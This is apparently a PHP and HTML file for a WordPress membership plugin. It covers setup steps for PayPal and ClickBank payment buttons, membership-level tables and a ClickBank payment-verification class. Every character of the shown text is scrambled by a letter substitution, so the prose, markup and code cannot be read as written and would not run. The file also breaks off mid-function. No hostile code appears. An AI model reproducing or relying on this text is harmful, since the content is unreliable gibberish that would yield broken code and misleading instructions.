nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmU4BkBu 2FtBQumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ; 4 / Bmlos ; 4QumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY QumUmoQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUY Y QumUqQzmU(QumUEQzmU2rmB:QumU/EQzmU 7m xn 87984QumUWqyq BDyr Dyo(HG)U WQzmU nlzzBnmBC myFm xA hrl DuxDv myxn uxsv, hrl xsnmBFC xzym-duxDv FsC DyrrnB myB QumUDrCBQzmU1qBs xs 7sDrzsxmr ?xsCrjQumU/DrCBQzmU rqmxrs.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUaro BiFtquB, mr mFvB 0Fh0Fu qFhtBsmn lnxsz F e;$72b$$ (srm F 0BonrsFu ro 0oBtxBo FDDrlsm), DrtquBmB myB Aruurjxsz nmBqn:QumU/qQzmUYY QumUruQzmUY QumUuxQzmU4rzxs mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0Fu.DrtQumU/FQzmU FsC DuxDv myB QFtqUplrmU3BoDyFsm $BokxDBnQFtqUplrmU mFEQumU/uxQzmUY QumUuxQzmUduxDv QFtqUplrmUdoBFmB qFhtBsm Elmmrsn Aro hrlo jBEnxmBQFtqUplrmUQumU/uxQzmUY QumUuxQzmUdyrrnB mr DoBFmB F QFtqUplrmUelh 2rjQFtqUplrmU ElmmrsQumU/uxQzmUY QumUuxQzmU#hqB xs myB QFtqUplrmU7mBt 2FtBQFtqUplrmU mr EB myB sFtB rA hrlo qorClDm (x.B. QumUDrCBQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/DrCBQzmU, FsC DyrrnB myB QFtqUplrmU0oxDBQFtqUplrmU nlDy Fn QumUDrCBQzmUI.PPQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU;sCBo $mBq N, EB nloB QumUDrCBQzmU$FkB Elmmrs Fm 0Fh0FuQumU/DrCBQzmU xn DyBDvBCQumU/uxQzmUY QumUuxQzmU$Doruu Crjs mr $mBq M (dlnmrtxgB FCkFsDBC ABFmloBn)QumU/uxQzmUY QumUuxQzmUeB nloB mr lsDyBDv QFtqUplrmU#FvB DlnmrtBon mr myxn ; 4 jyBs myBh DFsDBu myBxo DyBDvrlmQFtqUplrmUQumU/uxQzmUYY QumUuxQzmUdyBDv myB QFtqUplrmU#FvB DlnmrtBon mr myxn ; 4 jyBs myBh Axsxny DyBDvrlmQFtqUplrmU Eri FsC nBm xm mr myB uBkBu hrl jFsm: QumUDrCBQzmUQumUWqyq BDyr SlouU WQzmUQumU/DrCBQzmUQumU/uxQzmUYY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmU4BkBu 2FtBQumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ; 4 / Bmlos ; 4QumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY QumUmoQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUYY QumUuxQzmUduxDv QFtqUplrmUdoBFmB elmmrsQFtqUplrmUQumU/uxQzmUY QumUuxQzmUduxDv myB QFtqUplrmUbtFxuQFtqUplrmU mFE FsC zoFE hrlo qFhtBsm Elmmrs, nlDy Fn QumUDrCBQzmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoWDtC=_n-iDuxDvQFtqUyrnmBC_Elmmrs_xC=ONMQumU/DrCBQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs srj BxmyBo CxoBDm uxsv mr myxn Elmmrs ro lnB F nFuBn uBmmBo mBtquFmB nlDy Fn QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr yrnm hrlo nFuBn uBmmBo FsC CxnquFh hrlo qFhtBsm Elmmrs.QumU/qQzmUYY QumUyMQzmU3FslFu BzxnmoFmxrsQumU/yMQzmUYY QumUqQzmU?yBs FDmxkFmBC, 3BtEBo 9Bsxln jxuu qormBDm Fuu myB qFzBn FsC qrnmn rs hrlo Eurz. 1sDB f2QumUWqyq BDyr Dyo(HG)U WQzmU ?roC0oBnn lnBon urzn xs, myBh jxuu zBm FDDBnn mr Fuu myB DrsmBsm rs hrlo Eurz.QumU/qQzmUYY QumUqQzmU#yxn tBFsn hrl DFs tFslFuuh QumUF yoBA=QplrmUlnBo-sBj.qyqQplrmUQzmUFCC sBj lnBonQumU/FQzmU mr hrlo nxmB Fm Fsh mxtB.QumU/qQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DrluC Funr zoBFm F QFtqUplrmUDFmDy-FuuQFtqUplrmU lnBo, Aro BiFtquB, QumUF yoBA=QplrmUlnBo-sBj.qyqQplrmUQzmUDoBFmB F sBj lnBoQumU/FQzmU jxmy lnBosFtB QFtqUplrmUnBDoBmQFtqUplrmU FsC qFnnjroC QFtqUplrmUnBDoBmQFtqUplrmU FsC zxkB myxn Aro f44 hrlo tBtEBon mr nyFoB myB nFtB urzxs xsArotFmxrs.QumU/qQzmUY QumUWqyqY } } DuFnn 3BtEBo9BsxlndFomduxDvEFsv BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUDuxDvEFsv_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUDuxDvEFsv_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU, SmrvBs)U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)U SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)U xA (VSmrvBs) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } xA (xnnBm(S_01$#[QplrmUDuxDvEFsv_FDDrlsmQplrmU])) { SFDDrlsm = qoBz_oBquFDB(QTPMGU@[^f-<P-G]@nxQTPMGU, QTPMGUQTPMGU, nmoxqnuFnyBn(S_01$#[QplrmUDuxDvEFsv_FDDrlsmQplrmU]))U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU, SFDDrlsm)U } SFDDrlsm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU)U xA (VSFDDrlsm) { SFDDrlsm = QplrmUFDDrlsm_sxDvsFtBQplrmUU } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SxmBtn[SvBh] = SkFulBU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SnBDoBm)U WQzmUY QumUyMQzmUduxDvEFsv 0FhtBsmQumU/yMQzmUYY QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz duxDvEFsv, hrl tlnm:QumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmU BzxnmBo F duxDvEFsv $b44b FDDrlsm Eh oBzxnmBoxsz Fm myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://FDDrlsmn.DuxDvEFsv.Drt/qlEuxD/T/nxzslq/Arot/vBh/QplrmUQzmUduxDvEFsvQumU/FQzmU jBEnxmBQumU/uxQzmUY QumUuxQzmU$Bm hrlo QFtqUplrmUduxDvEFsv nBDoBm vBhQFtqUplrmU mr tFmDy Ermy myxn qFzB FsC hrlo QFtqUplrmU3h $xmBQFtqUplrmU FoBF xs duxDvEFsvQumU/uxQzmUY QumUuxQzmU0FnmB xs myB QFtqUplrmUduxDvEFsv 702 ; 4QFtqUplrmU jB zxkB hrlQumU/uxQzmUY QumUuxQzmUdoBFmB F duxDvEFsv qorClDm (ro BCxm hrlo Bixnmxsz rsB)QumU/uxQzmUY QumUuxQzmUbCxm myFm qorClDm FsC nBm myB QFtqUplrmUmyFsv hrlQFtqUplrmU qFzB jB qorkxCB hrlQumU/uxQzmUY QumUuxQzmU0Fh duxDvEFsvQTPMGUn rsB-mxtB SLG.GK FDmxkFmxrs DyFozB nr myFm hrl DFs EBzxs mFvxsz qFhtBsmnQumU/uxQzmUY QumU/luQzmUYY QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUyMQzmU$mBq O: drsAxzloB duxDvEFsv fDDrlsm 7sArotFmxrsQumU/yMQzmUYY QumUqQzmUfAmBo hrlQTPMGUkB DoBFmBC hrlo duxDvEFsv FDDrlsm, urzxs Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.DuxDvEFsv.DrtQplrmUQzmUduxDvEFsv.DrtQumU/FQzmU. 7s myB mrq mFEn, zr mr $Bmmxszn, 3h $xmB, nDoruu Crjs mr QFtqUplrmUfCkFsDBC #rrunQFtqUplrmU FsC DuxDv bCxm. #yB $BDoBm 5Bh xn rs myFm qFzB.QumU/qQzmUYY QumUqQzmUeB nloB myB nBDoBm vBh rs duxDvEFsvQTPMGUn nxmB tFmDyBn myB nBDoBm vBh yBoB.QumU/qQzmUYY QumUqQzmUQumUEurDvplrmBQzmUY QumUuFEBuQzmUQumUEQzmUduxDvEFsv $BDoBm 5Bh:QumU/EQzmU Y QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUY QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.DuxDvEFsv_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y QumUWqyq BsCxAU WQzmUYY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUDuxDvEFsv_mrvBsQplrmU DuFnn=QplrmUDuxDvEFsv_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUNKQplrmU /QzmUY QumU/uFEBuQzmU QumUxsqlm DuFnn=QplrmUDuxDvEFsv_mrvBsQplrmU mhqB=QplrmUnlEtxmQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB duxDvEFsv $BDoBm 5BhQplrmU /QzmUY QumU/EurDvplrmBQzmUYY QumUEurDvplrmBQzmUY QumUuFEBuQzmUQumUEQzmUduxDvEFsv fDDrlsm 2FtB:QumU/EQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUDuxDvEFsv_FDDrlsmQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU))U WQzmUQplrmU nxgB=QplrmUNPQplrmU /QzmUY QumU/uFEBuQzmUY QumU/EurDvplrmBQzmUQumU/qQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB fDDrlsm $BmmxsznQplrmU /QzmUQumU/qQzmUYY QumUyMQzmU$mBq N: $Bm duxDvEFsv QFtqUplrmU7snmFsm 0FhtBsm 2rmxAxDFmxrsQFtqUplrmU $BmmxsznQumU/yMQzmUYY QumUqQzmU?yxuB hrlQTPMGUoB nmxuu xs myB QFtqUplrmUfCkFsDBC #rrunQFtqUplrmU qFzB ($Bmmxszn, 3h $xmB, fCkFsDBC #rrun, bCxm) Drqh myB ; 4 EBurj FsC qFnmB xm xs Fn myB 7snmFsm 2rmxAxDFmxrs ; 4. $Bm QFtqUplrmU!BonxrsQFtqUplrmU mr QumUDrCBQzmUL.PQumU/DrCBQzmU.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq M: doBFmB 0orClDm xs duxDvEFsvQumU/yMQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrlo FDDrlsm xn oBFCh mr zr, srj uBmQTPMGUn DoBFmB hrlo qorClDm jxmyxs duxDvEFsv. 9r mr $Bmmxszn, 3h 0orClDmn, fCC 2Bj: 0orClDm.QumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmUQumUEQzmU0orClDm #hqB:QumU/EQzmU 1sB-#xtB cxzxmFu 0orClDmQumU/uxQzmUY QumUuxQzmUQumUEQzmU0orClDm dFmBzroh:QumU/EQzmU ?BEnxmB 3BtEBonyxqQumU/uxQzmUY QumUuxQzmUQumUEQzmU0orClDm #xmuB:QumU/EQzmU 2FtB rA QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0orClDmQumU/uxQzmUY QumUuxQzmUQumUEQzmU4FszlFzB:QumU/EQzmU bszuxnyQumU/uxQzmUY QumUuxQzmUQumUEQzmU0xmDy 0FzB ; 4:QumU/EQzmU myB ; 4 mr hrlo nFuBn uBmmBoQumU/uxQzmUY QumUuxQzmUQumUEQzmU0orClDm 0oxDB:QumU/EQzmU myB qoxDB hrlQTPMGUuu DyFozB Aro hrlo qorClDm (txsxtlt SM)QumU/uxQzmUY QumUuxQzmUQumUEQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzB ; 4:QumU/EQzmU nBm myxn mr myB ; 4 EBurjQumU/uxQzmUY QumU/luQzmUYY QumUEurDvplrmBQzmUY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_myFsvhrlQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_myFsvhrlQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUduxDv QumUEQzmUQFtqUplrmU$FkB 0orClDmQFtqUplrmUQumU/EQzmU mr Axsxny DoBFmxsz hrlo qorClDm.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUxQzmU7A hrl jFsm mr DoBFmB F oBDlooxsz qorClDm xs myB nmBqn FErkB (AxiBC-mBot ro Drsmxslxmh Fn rqqrnBC mr F nxszuB-qFhtBsm qorClDm) wlnm DyrrnB QFtqUplrmU BDlooxsz cxzxmFu 0orClDmQFtqUplrmU Aro myB 0orClDm #hqB.QumU/xQzmUQumU/qQzmUY Y QumUqQzmUQumUxQzmU#yB rsuh CxAABoBsDB jxmy myxn nBmmxsz xn myFm hrlQTPMGUuu yFkB BimoF mBim EriBn mr Axuu rlm mr CBAxsB myB 7sxmxFu 0orClDm 0oxDB (Axonm qFhtBsm Ftrlsm), BDlooxsz 0orClDm 0oxDB (Ftrlsm DyFozBC BFDy nlEnBplBsm Exuuxsz), BExuu aoBplBsDh (oB-Exuu jBBvuh ro trsmyuh), FsC $lEnDoxqmxrs cloFmxrs (yrj tFsh mrmFu qFhtBsmn, nlDy Fn K qFhtBsmn, ro lsuxtxmBC).QumU/xQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq L: 3FmDy duxDvEFsv 7mBt 7cn mr 3BtEBonyxq 4BkBunQumU/yMQzmUYY QumUqQzmU!xBj hrlo qorClDmn xs myB duxDvEFsv Drsmoru qFsBu Eh zrxsz mr $Bmmxszn, 3h 0orClDmn. 1s myB uBAm-trnm Drults rA BFDy qorClDm hrl nBuu, hrlQTPMGUuu nBB Fs QFtqUplrmU7mBtQFtqUplrmU Drults. drqh myB xmBt rA myB qorClDm hrl DoBFmBC, FsC qFnmB xm EBurj sBim mr myB tBtEBonyxq uBkBu hrl jFsm mr zoFsm FDDBnn mr, FAmBo myFm qBonrs qloDyFnBn myFm xmBt.QumU/qQzmUYY QumUqQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OKPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmUduxDvEFsv 7mBtQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUduxDvEFsv 0FhtBsm 4xsvQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } xA (SxmBt) { Suxsv = QplrmUymmq://QplrmU.SxmBt.QplrmU.QplrmU.SFDDrlsm.QplrmU.qFh.DuxDvEFsv.sBm/Wnvl=QplrmU.SuBkBu-QzmU7cU } BunB { Suxsv = QTPMGUQTPMGUU } WQzmUY QumUmoQzmUY QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUMQplrmU sFtB=QplrmUtBtEBozBsxln_DuxDvEFsv_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY QumUmCQzmUY QumUWqyq xA (Suxsv): WQzmUY QumUsrEoQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Suxsv)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(Suxsv)U WQzmUQumU/FQzmUQumU/srEoQzmUY QumUWqyq BunB: WQzmUY QFtqUsEnqUY QumUWqyq BsCxAU WQzmUY QumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB duxDvEFsv 7cQTPMGUnQplrmU /QzmUQumU/qQzmUYY QumUyMQzmU$mBq K: #Bnm QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0FhtBsm elmmrsQumU/yMQzmUYY QumUqQzmU7s hrlo duxDvEFsv FDDrlsm, zr mr $Bmmxszn, 3h $xmB. $Doruu Crjs mr myB QFtqUplrmU#Bnmxsz QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0orClDmnQFtqUplrmU nBDmxrs. duxDv myB QFtqUplrmUbCxmQFtqUplrmU uxsv rs myB nxmB. 1s myB qFzB myFm urFCn, DuxDv QFtqUplrmU9BsBoFmB 2Bj dFoC 2ltEBo.QFtqUplrmUQumU/qQzmUYY QumUqQzmUduxDv rs myB FqqorqoxFmB QFtqUplrmUqFhQFtqUplrmU uxsv FErkB (xs $mBq L) FsC DyBDv rlm lnxsz myB mBnm DoBCxm DFoC sltsEBo, BiqxoFmxrs CFmB, FsC kFuxCFmxrs DrCB qorkxCBC mr hrl Eh duxDvEFsv.QumU/qQzmUYY QumUyMQzmU$mBq K: drqh myB elh elmmrs drCB Aort duxDvEFsv FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUqQzmU#yB QFtqUplrmUduxDvEFsv 0FhtBsm 4xsvQFtqUplrmU xs myB mFEuB FErkB ($mBq M) xn myB uxsv hrlQTPMGUuu quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY QumUqQzmU9oFE myB 8#34 DrCB mr quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY QumU/CxkQzmUY QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_01$#[QplrmUDmoFsnFDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU#b$#QplrmU QFtqUQFtqU S_01$#[QplrmUDDlnmBtFxuQplrmU] == [email protected]) { rE_BsC_DuBFs()U yBFCBo(QplrmU8##0/O.O NPP 15QplrmU)U CxB()U } xA (xnnBm(S_9b#[QplrmUDEoBDBxqmQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUDFAAxmxCQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U } xA (VSxsAr || Drlsm(SxsAr) == P) { oBmlos AFunBU } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } xA (xnnBm(SxsAr[QplrmUDDlnmsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDDlnmBtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDqorCxmBtQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDmoFsnoBDBxqmQplrmU])) { qFonB_nmo(SxsAr[QplrmUDkBsCmyolQplrmU], SDkBsCmyol)U xA (xnnBm(SDkBsCmyol[QplrmUnvlQplrmU])) { Snvl = SDkBsCmyol[QplrmUnvlQplrmU]U } BunB { SuBkBu = FooFh_nBFoDy(SxsAr[QplrmUDqorCxmBtQplrmU], SxmBtn)U } uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDDlnmsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDDlnmBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDmoFsnoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunBxA (xnnBm(SxsAr[QplrmUDEoBDBxqmQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDBtFxuQplrmU])) { uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, 